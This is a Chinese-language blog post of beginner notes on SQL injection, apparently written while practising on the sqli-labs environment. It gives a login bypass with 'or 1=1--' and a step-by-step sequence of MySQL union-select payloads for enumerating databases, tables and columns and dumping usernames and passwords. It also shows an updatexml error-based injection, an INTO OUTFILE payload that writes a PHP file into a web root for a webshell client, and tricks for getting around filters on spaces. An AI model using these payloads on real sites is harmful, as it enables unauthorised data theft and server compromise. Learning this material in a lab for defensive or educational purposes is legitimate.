sql注入の初见

首先你要学会数据库的语法和特性。比如一个简单的表单,image-20200904162506105

在输入正确的账号和密码后,会进入另一个页面,我们可以使用一个特殊的用户“ ‘or 1=1– “ 我们就可以进入了,我们可以看一下代码image-20200904172351374

我们可以知道sql执行的语句是

1
`select *from admin where username='' or 1=1--'and password=''`

可知返回的值恒为真 大于0,自然可以进入。

MySQL基本注入:

1.判断注入类型,表单加上’ 在加 ‘and 1=1–+ 和 ’and 1=2–+ 看看

2.判断列数,用 order ,(为了下一步准备)

3.判断回显位置,用union select 1,2,3…..,列数具体看(2)。这个是一般由网页回显,不过要输入不存在的表单值

4.查看当前数据库名 ,将select database()插入会回显的位置,不过要输入不存在的表单值

5.查看数据库版本,将

1
select version()

插入会回显的位置

6.列出数据库名,将

1
select group_concat(schema_name) from information_schema.schemata 

插入会回显的位置

7.列出你要的库的表,将

1
select group_concat(table_name) from information_schema.tables where table_schema='库名'

插入会回显的位置

8.列出你要的表的字段名,将

1
select group_concat(column_name) from information_schema.columns where table_name='表名'

插入会回显的位置

9.列出user和password, 将

1
select group_cocat(字段名) from 库名.表名  和 select group_concat(字段名) from 库名.表名

插入会回显的位置即可

以上一般要注释符 – ,但是空格在url末尾会去掉,用–+,+在URL中有特殊含义为空格,或者可以用– x,x随便,x可以保证空格存在。

MySQL显错注入:

1.updatexml()

select name from user where id=1 and updatexml(1,concat(‘‘,(select database()),’‘),3);

MySQL dump into outfile:

生成一个php文件,可以用蚁剑连接, 比如构造一个这个

union select 1,(select group_concat(username) from security.users),’‘ into outfile ‘D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\data.php’–+

把’‘放入data.php中,便于蚁剑连接,aaa就是密码,可以在data.php中看到回显内容

记录一些绕过姿势

一、过滤空格

(1)、/**/

(2)、()比如and(1=1)